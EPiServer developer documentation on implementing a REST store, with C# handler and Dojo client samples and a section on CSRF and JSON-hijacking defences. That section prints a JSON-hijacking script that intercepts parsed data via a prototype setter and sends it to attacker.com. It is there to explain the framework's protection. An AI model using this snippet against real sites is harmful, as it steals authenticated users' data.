Hide menu Last updated: Mar 21 2013

Table of Contents

Introduction

This document describes how to implement the REST data store in EPiServer Framework.

Creating the Handler Class

When creating a new REST store you must implement a handler class inheriting from RestControllerBase. This base class extends the ASP.NET MVC controller base class with a custom action invoker for executing methods depending on the HTTP verb in the request. The post-data is also automatically de-serialized into the reserved method parameter entity. You can implement the following basic REST operations:

  • GET is executed to retreive items. The item to get is determined by an identifier path segment of the URL.
  • PUT updates an existing item.
  • POST creates a new item.
  • DELETE deletes an item according to the identifier path segment of the URL.

Implementing the REST Methods

Implementing the actual REST methods in the handler is as easy as adding a method named as the http verb it responds to. When defining the method parameters you have to consider the following reserved parameter names:

  • id is the identity of the entity. The identity segment of the URL will automatically be mapped to the parameter named ID.
  • entity is the posted item data de-serialized into the parameter type.

When you have implemented your store it must be registered using a RestStore attribute on the store handler class with the name of the store.

CopyC#
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web.Mvc;
using EPiServer.Shell.Services.Rest;

namespace CodeSamples
{
    // A model class 
    public class Fruit
    {
        public int id { get; set; }
        public string Name { get; set; }
        public int Amount { get; set; }
    }

    [RestStore("examplestore")]
    public class StoreHandlerSample : RestControllerBase
    {
        private static int _uid = 1;

        // Define some sample data
        private static List<Fruit> _items = new List<Fruit>() {
            new Fruit() { id=_uid++, Name = "Banana", Amount = 1 },
            new Fruit() { id=_uid++, Name = "Orange", Amount = 51 },
            new Fruit() { id=_uid++, Name = "Apple", Amount = 12 },
            new Fruit() { id=_uid++, Name = "Cherry", Amount = 67 },
            new Fruit() { id=_uid++, Name = "Chili", Amount = 100 }
        };

        public RestResult Get(int? id, ItemRange range)
        {
            // When requesting a specific item we return that item; otherwise return all items.
            if (id.HasValue)
            {
                return Rest(new[] { _items.FirstOrDefault(f => f.id == id.Value) });
            }
            else
            {
                return Rest(_items.ToArray());
            }
        }

        public RestResult Put(Fruit entity)
        {
            // Update the posted entity
            Fruit fruit = _items.First(f => f.id == entity.id);
            fruit.Name = entity.Name;
            fruit.Amount = entity.Amount;
            return Rest(String.Empty);
        }

        public RestResult Post(Fruit entity)
        {
            // Create a new entity
            entity.id = _uid++;
            _items.Add(entity);
            return Rest(entity.id);
        }

        public RestResult Delete(int id)
        {
            // Delete the entity having the supplied id
            Fruit fruit = _items.FirstOrDefault(f => f.id == id);
            if (fruit == null)
                return Rest(false);
            _items.Remove(fruit);
            return Rest(true);
        }
    }
}

In the example above, an _items list containing sample data of the type Fruit is created and modified using basic REST operations. Since the store handler is attributed with the RestStore attribute, it will be registered automatically when the web application starts. This is done in the module initialization, where all attributed classes inheriting from RestControllerBase will be registered with a url according to the store name specified by the attribute and the name of the contining module according to the URL pattern below:

<basepath>/<module name>/stores/<store name>/<id>

Assuming that the store is created in a module named samples, the URL would become the following:

mybasepath/samples/stores/myreststore

Fetching Data on the Client Side

To set up the store you can register it in the store registry in a client module initializer:

CopyJavaScript
define([
// Dojo
    "dojo",
    "dojo/_base/declare",
//CMS
    "epi/_Module",
    "epi/dependency",
    "epi/routes"
], function (
// Dojo
    dojo,
    declare,
//CMS
    _Module,
    dependency,
    routes
) {

    return declare("alloy.ModuleInitializer", [_Module], {
        // summary: Module initializer for the default module.

        initialize: function () {

            this.inherited(arguments);

            var registry = this.resolveDependency("epi.storeregistry");

            //Register the store
            registry.create("alloy.examplestore", this._getRestPath("examplestore"));
        },

        _getRestPath: function (name) {
            return routes.getRestPath({ moduleArea: "app", storeName: name });
        }
    });
});

..and here is an example on how you can get the store and issue a query to it from a widget:

CopyJavaScript
define([
// Dojo
    "dojo",
    "dojo/_base/declare",

// Dijit
    "dijit/_WidgetBase",

    "epi/dependency"
], function (
// Dojo
    dojo,
    declare,

// Dijit
    _WidgetBase,
//EPiServer
    dependency
) {

    return declare("app.components.StoreSample", [_WidgetBase], {
        // summary: A sample widget that uses a REST store.

        store: null,

        postMixInProperties: function () {
            if (!this.store) {
                var registry = dependency.resolve("epi.storeregistry");
                this.store = registry.get("alloy.examplestore");
            }

            this.exampleMethod(123);
        },

        exampleMethod: function (id) {
           dojo.when(this.store.get(id), function(returnValue){
                console.dir(returnValue);
            }
        }
    });
});

Security Considerations

The REST implementation currently has two measures for preventing Cross Site Request Forgery. An attack where a malicious website tricks an authenticated user into sending a request to a vulnerable site to either modify or steal protected information.

Protecting against Cross Site Request Forgery

For protecting against cross site request forgery protection using the Synchronizer Token Pattern. This implementation consists of a cookie token containing a random byte sequence encrypted with a site specific hash. A header field based on the same token, but with a salt is then added and validated for every post, put and delete request. The tokens are created as described below:

R = random data
S = Salt
H = Site specific secret
Cookie Token:
R + (R hashed with H)
Posted token:
R + ((R + S) hashed with H)

The only thing exposed to the client is the random data which is re-generated for each session.

JSON Hijacking

A special form of CSRF attack is JSON Hijacking, where an attacker uses the possibility of defining custom property setters or custom Array constructors in JavaScript. The target of this attack form is JSON formatted data returned for GET requests. The attacker would then define a custom setter for the Object prototype or a custom Array contructor to intercept the data as the JSON formatted string is parsed into JavaScript objects. When the target service then is included in the same web page using a <script> reference, the attacker’s code gets executed.

The following example uses the possibility of defining custom setters for anonymous JavaScript objects to steal data:

<script>
Object.prototype.__defineSetter__("name", function(data) {
	var s = "";
	for (f in this) {
		s += f + ": '" + this[f] + "', ";
	}
	s += "date: " + x;
	// send information to the attacker’s server
	document.images[0].src="http://attacker.com/?data=" + s;
});
<script src="http://my.host.com/jsondata"></script>

To prevent against this type of attack the EPiServer REST implementation prepends all JSON data with {} && which renders the data invalid as a JavaScript, meaning that it cannot be interpreted when included in a script element.

This particular attack vector seem to have been removed in recent browser versions.

For more information about prevention of Cross Site Request Forgery attacks, visit Preventing CSRF Attacks.

Comments